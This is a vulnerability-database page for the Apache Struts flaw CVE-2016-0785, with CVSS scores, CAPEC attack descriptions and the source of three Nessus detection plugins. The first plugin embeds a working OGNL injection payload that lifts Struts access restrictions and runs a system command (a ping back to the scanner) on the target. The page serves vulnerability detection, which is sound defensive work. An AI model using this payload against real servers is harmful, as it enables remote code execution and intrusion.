Vulnerabilities > CVE-2016-0785 - Improper Input Validation vulnerability in Apache Struts

047910
CVSS 8.8 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
LOW
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
apache
CWE-20
nessus
NVD
Published: 2016-04-12
Updated: 2024-11-21

Summary

Apache Struts 2.x before 2.3.28 allows remote attackers to execute arbitrary code via a "%{}" sequence in a tag attribute, aka forced double OGNL evaluation.

Vulnerable Configurations

Part Description Count
Application
Apache
69

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Nessus

  • NASL familyCGI abuses
    NASL idSTRUTS_2_3_28_RCE.NASL
    descriptionThe remote web application appears to use Apache Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. A remote code execution vulnerability exists due to double OGNL evaluation of attribute values assigned to certain tags. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to execute arbitrary code. Note that this plugin only reports the first vulnerable instance of a Struts 2 application.
    last seen2020-06-01
    modified2020-06-02
    plugin id90152
    published2016-03-24
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90152
    titleApache Struts 2 Tag Attribute Double OGNL Evaluation RCE
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(90152);
  script_version("1.17");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2016-0785");

  script_name(english:"Apache Struts 2 Tag Attribute Double OGNL Evaluation RCE");
  script_summary(english:"Attempts to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Apache Struts 2, a web
framework that utilizes OGNL (Object-Graph Navigation Language) as an
expression language. A remote code execution vulnerability exists due
to double OGNL evaluation of attribute values assigned to certain
tags. An unauthenticated, remote attacker can exploit this, via a
specially crafted request, to execute arbitrary code.

Note that this plugin only reports the first vulnerable instance of a
Struts 2 application.");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-029.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/version-notes-2328.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache Struts version 2.3.28 or later. Alternatively, apply
the workaround referenced in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-0785");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/03/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/03/22");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/03/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("torture_cgi.inc");
include("url_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}

if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;

urls = list_uniq(urls);
scanner_ip = compat::this_host();
target_ip = get_host_ip();
vuln = FALSE;

ua = get_kb_item("global_settings/http_user_agent");
if (empty_or_null(ua))
  ua = 'Nessus';

pat = hexstr(rand_str(length:10));

os = get_kb_item("Host/OS");
if (!empty_or_null(os) && "windows" >< tolower(os))
{
  ping_cmd = "ping -n 3 -l 500 " + scanner_ip;
  filter = "icmp and icmp[0] = 8 and src host " + target_ip + " and greater 500";
}
else
{
  ping_cmd = "ping -c 3 -p " + pat + " " + scanner_ip;
  filter = "icmp and icmp[0] = 8 and src host " + target_ip;
}

ping_cmd = urlencode(
  str        : ping_cmd,
  unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                   "56789=&_."
);

foreach url (urls)
{
  soc = open_sock_tcp(port);
  if (!soc) audit(AUDIT_SOCK_FAIL, port);

  # Grab CGI arguments for each .action file from KB
  cgi_args = get_cgi_arg_list(port:port, cgi:url);
  if (empty_or_null(cgi_args))
  {
    url = ereg_replace(pattern:"\.(act(ion)?|jsp|do)$", string:url, replace:"");
    cgi_args = get_cgi_arg_list(port:port, cgi:url);
  }

  attack = "";
  exp_payload = "%27),%23_memberAccess[%27allowPrivateAccess%27]=true,%23_memberAccess[%27allowProtectedAccess%27]=true,%23_memberAccess[%27allowPackageProtectedAccess%27]=true,%23_memberAccess[%27allowStaticMethodAccess%27]=true,%23_memberAccess[%27excludedPackageNamePatterns%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27excludedClasses%27]=%23_memberAccess[%27acceptProperties%27],%[email protected]@getRuntime(),%23a.exec(%27"+ping_cmd+"%27),new%20java.lang.String(%27";

  # Build a string with CGI arguments set to the exploit string
  if (empty_or_null(cgi_args))
    attack_url = url + "?" + exp_payload;
  else
  {
    foreach arg (cgi_args)
    {
      attack += (arg + "=" + exp_payload);
    }
    attack_url = url + "?" + attack;
  }

  # Craft GET request
  get_req =
    'GET ' + attack_url + ' HTTP/1.1\n' +
    'Host: ' + target_ip + ':' + port + '\n' +
    'User-Agent: ' + ua + '\n' +
    'Accept-Language: en-US\n' +
    'Connection: Keep-Alive\n\n';

  s = send_capture(socket:soc,data:get_req,pcap_filter:filter,timeout:timeout);
  icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
  close(soc);

  if ("windows" >< tolower(os) && !isnull(icmp))
  {
    vuln = TRUE;
    vuln_url = build_url(qs:attack_url, port:port);
    report =
      '\nNessus confirmed this issue by examining ICMP traffic. '+
      'Below is the response :' +
      '\n\n' + snip +
      '\n' + icmp +
      '\n' + snip +
      '\n';
    break;
  }
  else if (pat >< icmp)
  {
    vuln = TRUE;
    vuln_url = build_url(qs:attack_url, port:port);
    report =
      '\nNessus confirmed this issue by examining ICMP traffic and looking for'+
      '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+
      '\n\n' + snip +
      '\n' + icmp +
      '\n' + snip +
      '\n';
    break;
  }

# Stop after first vulnerable Struts app is found
if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(vuln_url),
  output     : report
);
  • NASL familyMisc.
    NASL idSTRUTS_2_3_29_WIN_LOCAL.NASL
    descriptionThe version of Apache Struts running on the remote Windows host is 2.x prior to 2.3.29. It is, therefore, affected by the following vulnerabilities : - A remote code execution vulnerability exists due to erroneously performing double OGNL evaluation of attribute values assigned to certain tags. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to execute arbitrary code. (CVE-2016-0785) - A cross-site request forgery (XSRF) vulnerability exists due to improper validation of session tokens. An unauthenticated, remote attacker can exploit this, via a malicious OGNL expression, to bypass token validation and perform an XSRF attack. (CVE-2016-4430) - Multiple input validation issues exists that allow internal security mechanisms to be bypassed, allowing the manipulation of a return string which can be used to redirect users to a malicious website. This affects both the default action method the
    last seen2020-06-01
    modified2020-06-02
    plugin id91812
    published2016-06-24
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91812
    titleApache Struts 2.x < 2.3.29 Multiple Vulnerabilities (S2-035 - S2-040)
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(91812);
  script_version("1.15");
  script_cvs_date("Date: 2019/11/14");

  script_cve_id(
    "CVE-2016-0785",
    "CVE-2016-4430",
    "CVE-2016-4431",
    "CVE-2016-4433",
    "CVE-2016-4436",
    "CVE-2016-4438",
    "CVE-2016-4461"
  );
  script_bugtraq_id(
    85066,
    91275,
    91277,
    91280,
    91281,
    91282,
    91284
  );

  script_name(english:"Apache Struts 2.x < 2.3.29 Multiple Vulnerabilities (S2-035 - S2-040)");
  script_summary(english:"Checks the Struts 2 version.");

  script_set_attribute(attribute:"synopsis", value:
"The remote Windows host contains a web application that uses a Java
framework that is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of Apache Struts running on the remote Windows host is 2.x
prior to 2.3.29. It is, therefore, affected by the following
vulnerabilities :

  - A remote code execution vulnerability exists due to
    erroneously performing double OGNL evaluation of
    attribute values assigned to certain tags. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted request, to execute arbitrary code.
    (CVE-2016-0785)

  - A cross-site request forgery (XSRF) vulnerability exists
    due to improper validation of session tokens. An
    unauthenticated, remote attacker can exploit this, via a
    malicious OGNL expression, to bypass token validation
    and perform an XSRF attack. (CVE-2016-4430)

  - Multiple input validation issues exists that allow
    internal security mechanisms to be bypassed, allowing
    the manipulation of a return string which can be used to
    redirect users to a malicious website. This affects both
    the default action method the 'getter' action method.
    (CVE-2016-4431, CVE-2016-4433)

  - An unspecified flaw exists that is triggered during the
    cleanup of action names. An unauthenticated, remote
    attacker can exploit this, via a specially crafted
    payload, to perform unspecified actions. (CVE-2016-4436)

  - A remote code execution vulnerability exists in the REST
    plugin due to improper handling of OGNL expressions. An
    unauthenticated, remote attacker can exploit this, via
    a specially crafted OGNL expression, to execute
    arbitrary code. (CVE-2016-4438)

  - A remote code execution vulnerability exists in user tag
    attributes due to improper handling of OGNL expressions. 
    An unauthenticated, remote attacker can exploit this, 
    via a specially crafted double OGNL evaluation, to 
    execute arbitrary code. (CVE-2016-4461)

Note that Nessus has not tested for these issues but has instead
relied only on the application's self-reported version number.");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-035.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-036.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-037.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-038.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-039.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-040.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/version-notes-2329.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache Struts version 2.3.29 or later. Alternatively,
apply the workarounds referenced in the vendor advisory.");
  script_set_attribute(attribute:"agent", value:"all");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-4461");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts REST Plugin OGNL Expression Handling RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/06/14");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/06/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/06/24");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("installed_sw/Apache Struts", "installed_sw/Struts");

  exit(0);
}

include('vcf.inc');

if (report_paranoia < 2) audit(AUDIT_PARANOID);
app_info = vcf::combined_get_app_info(app:'Apache Struts');
vcf::check_granularity(app_info:app_info, sig_segments:3);

constraints = [
  { 'min_version' : '2.0.0', 'max_version' : '2.3.28.1', 'fixed_display' : '2.3.29' }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE, flags:{xsrf:TRUE});
  • NASL familyMisc.
    NASL idSTRUTS_2_3_28_WIN_LOCAL.NASL
    descriptionThe version of Apache Struts running on the remote host is 2.x prior to 2.3.28. It is, therefore, affected by the following vulnerabilities : - A cross-site scripting vulnerability exists due to improper validation of user-supplied input when using a single byte page encoding. A remote attacker can exploit this, via non-spec URL-encoded parameter value including multi-byte characters. (CVE-2016-4003) - A remote code execution vulnerability exists due to double OGNL evaluation of attribute values assigned to certain tags. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to execute arbitrary code. (CVE-2016-0785) - A cross-site scripting vulnerability exists due to improper validation of user-supplied input when using the I18NInterceptor. A remote attacker can exploit this, via a specially crafted request, to execute arbitrary script code in a user
    last seen2020-06-01
    modified2020-06-02
    plugin id90153
    published2016-03-24
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90153
    titleApache Struts 2.x < 2.3.28 Multiple Vulnerabilities (S2-028) (S2-029) (S2-030) (S2-034)
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(90153);
  script_version("1.15");
  script_cvs_date("Date: 2019/02/15 10:32:14");

  script_cve_id("CVE-2016-4003", "CVE-2016-0785", "CVE-2016-2162", "CVE-2016-3093");
  script_bugtraq_id(86311, 85066, 85070, 90961);

  script_name(english:"Apache Struts 2.x < 2.3.28 Multiple Vulnerabilities (S2-028) (S2-029) (S2-030) (S2-034)");
  script_summary(english:"Checks the Struts 2 version.");

  script_set_attribute(attribute:"synopsis", value:
"A web application running on the remote host uses a Java framework
that is affected by multiple vulnerabilities");
  script_set_attribute(attribute:"description", value:
"The version of Apache Struts running on the remote host is 2.x
prior to 2.3.28. It is, therefore, affected by the following
vulnerabilities :
  - A cross-site scripting vulnerability exists due to
    improper validation of user-supplied input when using
    a single byte page encoding. A remote attacker can 
    exploit this, via non-spec URL-encoded parameter value
    including multi-byte characters. (CVE-2016-4003)

  - A remote code execution vulnerability exists due to
    double OGNL evaluation of attribute values assigned to
    certain tags. An unauthenticated, remote attacker can
    exploit this, via a specially crafted request, to
    execute arbitrary code. (CVE-2016-0785)

  - A cross-site scripting vulnerability exists due to
    improper validation of user-supplied input when using
    the I18NInterceptor. A remote attacker can exploit this,
    via a specially crafted request, to execute arbitrary
    script code in a user's browser session. (CVE-2016-2162)

  - A denial of service vulnerability exists in the
    Object-Graph Navigation Language (OGNL) component due to
    a flaw in the implementation of the cache for stored
    method references. A context-dependent attacker can
    exploit this to block access to arbitrary websites.
    (CVE-2016-3093)

Note that Nessus has not tested for these issues but has instead
relied only on the application's self-reported version number.");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-028.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-029.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-030.html");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-034.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/version-notes-2328.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Apache Struts version 2.3.28 or later. Alternatively,
apply the workaround referenced in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-0785");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");


  script_set_attribute(attribute:"vuln_publication_date", value:"2016/03/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/03/22");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/03/24");

  script_set_attribute(attribute:"agent", value:"all");
  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("installed_sw/Apache Struts","installed_sw/Struts");

  exit(0);
}

include("vcf.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);


app_info = vcf::combined_get_app_info(app:"Apache Struts");

vcf::check_granularity(app_info:app_info, sig_segments:3);

constraints = [
  { "min_version" : "2.0.0", "max_version" : "2.3.24.1", "fixed_version" : "2.3.28" }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE, flags:{xss:TRUE});

References